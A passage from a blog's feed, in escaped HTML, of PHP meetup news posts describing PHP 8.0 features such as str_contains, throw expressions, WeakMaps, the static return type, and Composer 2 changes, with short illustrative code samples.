&lt;span class=&quot;nv&quot;&gt;$puppy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$zara&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;breed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;string-functions&quot;&gt;String functions&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/str_contains&quot;&gt;str_contains RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/add_str_starts_with_and_ends_with_functions&quot;&gt;str_starts_with &amp;amp; str_ends_with RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It’s only taken 25 years, but PHP finally has canonical functions to check if a string
contains, starts with or ends with another string.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;abc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// New way&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;str_contains&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Old way&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Note: Need to ensure strict comparison here, in case the &lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// position is at index 0&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;// New way&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;str_starts_with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ab&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Old way&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$prefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ab&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;// New way&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;str_ends_with&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;abc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;bc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Old way&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$suffix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;bc&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;substr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$haystack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$suffix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$suffix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;exceptions&quot;&gt;Exceptions&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/non-capturing_catches&quot;&gt;Non-capturing catches RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/throw_expression&quot;&gt;Throw expression RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are also a couple of changes to to the way we can use exceptions.
The ablility to catch an exception and ignore the actual exception object.
This is useful when the type of the exception is enough information for you
to determine how to handle it and you don’t need the rest of the data contained
in the exception object.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;changeImportantData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;PermissionException&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;You don't have permission to do this&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Internally, PHP thinks of different constructs as either “expressions” or “statements”.
There are some places that you’re not allowed to use “statements”, only expressions.
Throwing exceptions has been considered a “statement” which means you aren’t able
to throw exceptions in certain places, like arrow functions and ternaries. So the
following examples will work correctly as of PHP 8.0, but will throw a FatalError
in previous versions.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$fn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'oops'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'value'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'value'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;InvalidArgumentException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'value not set'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;get_debug_type&quot;&gt;get_debug_type()&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_debug_type()&lt;/code&gt; is an alternative to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gettype()&lt;/code&gt; which actually
returns something useful:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Value&lt;/th&gt;&lt;th&gt;get_debug_type()&lt;/th&gt;&lt;th&gt;gettype()&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;0&lt;/td&gt;&lt;td&gt;int&lt;/td&gt;&lt;td&gt;integer&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;0.1&lt;/td&gt;&lt;td&gt;float&lt;/td&gt;&lt;td&gt;double&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;true&lt;/td&gt;&lt;td&gt;bool&lt;/td&gt;&lt;td&gt;boolean&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&quot;hello world&quot;&lt;/td&gt;&lt;td&gt;string&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[]&lt;/td&gt;&lt;td&gt;array&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;null&lt;/td&gt;&lt;td&gt;null&lt;/td&gt;&lt;td&gt;NULL&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;new Foo\Bar()&lt;/td&gt;&lt;td&gt;Foo\Bar&lt;/td&gt;&lt;td&gt;object&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;new class() {}&lt;/td&gt;&lt;td&gt;class@anonymous&lt;/td&gt;&lt;td&gt;object&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;tmpfile()&lt;/td&gt;&lt;td&gt;resource (stream)&lt;/td&gt;&lt;td&gt;resource&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;curl_init()&lt;/td&gt;&lt;td&gt;resource (curl)&lt;/td&gt;&lt;td&gt;resource&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;curl_close($ch)&lt;/td&gt;&lt;td&gt;resource (closed)&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h4 id=&quot;weakmaps&quot;&gt;Weakmaps&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/weak_maps&quot;&gt;RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In PHP 7.4 we got support for Weak References. This allows us to store
a reference to some object without preventing the garbage collector from
deleting it. Weak References on their own are of limited usefulness, so
now we have WeakMaps which allow us to build caches:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Foo&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;WeakMap&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;getSomethingWithCaching&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;object&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
           &lt;span class=&quot;o&quot;&gt;??=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;computeSomethingExpensive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is very useful for the likes of ORMs, which often implment
their own caching.&lt;/p&gt;

&lt;h4 id=&quot;breaking-changes&quot;&gt;Breaking changes&lt;/h4&gt;

&lt;p&gt;There are been quite a few breaking changes in 8.0, ranging from
won’t affect much at all, to will probably make it hard to upgrade
(especially for older projects). Here are some that I think are
worth mentioning:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Ensure correct signatures of magic methods &lt;a href=&quot;https://wiki.php.net/rfc/magic-methods-signature&quot;&gt;RFC&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;Until now, it was possible to declare &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public function __get(string $name): void&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Method signatures in abstract methods defined in traits are now enforced &lt;a href=&quot;https://wiki.php.net/rfc/abstract_trait_method_validation&quot;&gt;RFC&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;Previously, you could completely change the method signature of an abstract method that comes from a trait&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl_*()&lt;/code&gt; methods accept and return &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CurlHandle&lt;/code&gt; objects instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resource&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$handle !== false&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!is_resource($handle)&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;This snuck through without an RFC…&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;composer-2&quot;&gt;Composer 2&lt;/h2&gt;

&lt;p&gt;Composer version 2 is just around the corner. The alpha2 version is out and you can test it.
It comes with a few great new features, here are my favourites.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Faster download times
    &lt;ul&gt;
      &lt;li&gt;All downloads now run in parallel and offer quite a speed boost.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Platform check - ensure the current platform is supported
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vendor/composer/platform_check.php&lt;/code&gt; is created during &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;composer install&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;It ensures the the platform running the code is suppored (ie. has correct PHP version and extensions)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ignore-platform-req [req]&lt;/code&gt; to selectively ignore specfic platform requirements instead of all of them
    &lt;ul&gt;
      &lt;li&gt;eg. Ignore only the PHP version requirement and nothing else with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--ignore-platform-req php&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--dry-run&lt;/code&gt; for add/remove
    &lt;ul&gt;
      &lt;li&gt;This was previously only available on update&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;PEAR repository type is removed
    &lt;ul&gt;
      &lt;li&gt;You can no longer install custom PEAR packages&lt;/li&gt;
      &lt;li&gt;You can still install PEAR packages hosted on php.net&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can find out more about &lt;a href=&quot;https://php.watch/articles/composer-2&quot;&gt;Composer v2 here&lt;/a&gt;.&lt;/p&gt;</content><author><name></name></author><category term="brisphp" /><category term="brisphp" /><category term="php" /><category term="news" /><summary type="html">I co-organise the BrisPHP Meetup and at the start of every meetup I give a quick talk on recent news and other interesting things that have been happening in the PHP world. Recently, we’ve had an absolute ton of progress on PHP 8.0.</summary></entry><entry><title type="html">What’s new in PHP land? - Q1 2020</title><link href="https://ndench.github.io/brisphp/whats-new-in-php-q1-2020" rel="alternate" type="text/html" title="What’s new in PHP land? - Q1 2020" /><published>2020-03-05T00:00:00+10:00</published><updated>2020-03-05T00:00:00+10:00</updated><id>https://ndench.github.io/brisphp/whats-new-in-php-q1-2020</id><content type="html" xml:base="https://ndench.github.io/brisphp/whats-new-in-php-q1-2020">&lt;p&gt;I co-organise the &lt;a href=&quot;https://www.meetup.com/BrisPHP/&quot;&gt;BrisPHP Meetup&lt;/a&gt;
and at the start of every meetup I give a quick talk on recent news and 
other interesting things that have been happening in the PHP world.
Recently, we’ve had a lot of progress on PHP 8.0 and lots of frameworks
released new versions.&lt;/p&gt;

&lt;h2 id=&quot;php&quot;&gt;PHP&lt;/h2&gt;

&lt;p&gt;Let’s start with some &lt;a href=&quot;https://blog.packagist.com/php-versions-stats-2019-2-edition&quot;&gt;PHP Version Stats&lt;/a&gt;
released December last year by Jordi Boggiano.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-version-stats-2019-11.png&quot; alt=&quot;PHP Version Usage&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see PHP 5.6 is still hanging around a bit, bit it has dropped a bit. 
PHP 7 versions are definitely taking the majority of the market, however with 
7.2+ being the only supported versions, there is still a large number of 
projects on unsupported versions :’(.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-versions-over-time-2019-11.png&quot; alt=&quot;PHP Versions Over Time&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Here it’s easy to see that PHP 7.4 is picking up just as fast as all 
previous versions that have been released.&lt;/p&gt;

&lt;h3 id=&quot;php-80&quot;&gt;PHP 8.0&lt;/h3&gt;

&lt;p&gt;There are &lt;a href=&quot;https://stitcher.io/blog/new-in-php-8&quot;&gt;already lots&lt;/a&gt; of 
&lt;a href=&quot;https://thephp.website/en/issue/state-of-php-8/&quot;&gt;other posts&lt;/a&gt; about the
features in PHP 8.0, but I’m going to list the changes that have happened
in the last few months.&lt;/p&gt;

&lt;h4 id=&quot;static-return-type&quot;&gt;Static return type&lt;/h4&gt;

&lt;p&gt;I use fluent methods a lot and not having the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;static&lt;/code&gt; return type
really gets me. Here’s an example:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;FooInterface&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;doSomething&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Foo&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;FooInterface&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;doSomething&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;():&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Do some things&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; 
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At the moment, we can’t need to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;self&lt;/code&gt; as the return
type, which gives us a fatal error because 
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Foo::self !== FooInterface::self&lt;/code&gt; and is not compatible.
The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;static&lt;/code&gt; return type lets us benefit from late static 
binding and makes this work as you would expect.&lt;/p&gt;

&lt;p&gt;Take a look at &lt;a href=&quot;https://wiki.php.net/rfc/static_return_type&quot;&gt;the RFC&lt;/a&gt;
for more information.&lt;/p&gt;

&lt;h4 id=&quot;allow-objectclass&quot;&gt;Allow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$object::class&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;I also use FQCN’s a lot, to populate exception/log messages
and as keys in an array, etc. Since PHP  5.5 we’ve been able 
to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Foo\Bar::class&lt;/code&gt; to get the FQCN, but if you have an
instance of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Foo\Bar&lt;/code&gt; you must use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\get_class($foo)&lt;/code&gt; instead.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$foo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Foo\Bar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Works in 5.5+&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Foo\Bar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;get_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Works in 8.0+&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;var_dump&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$foo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
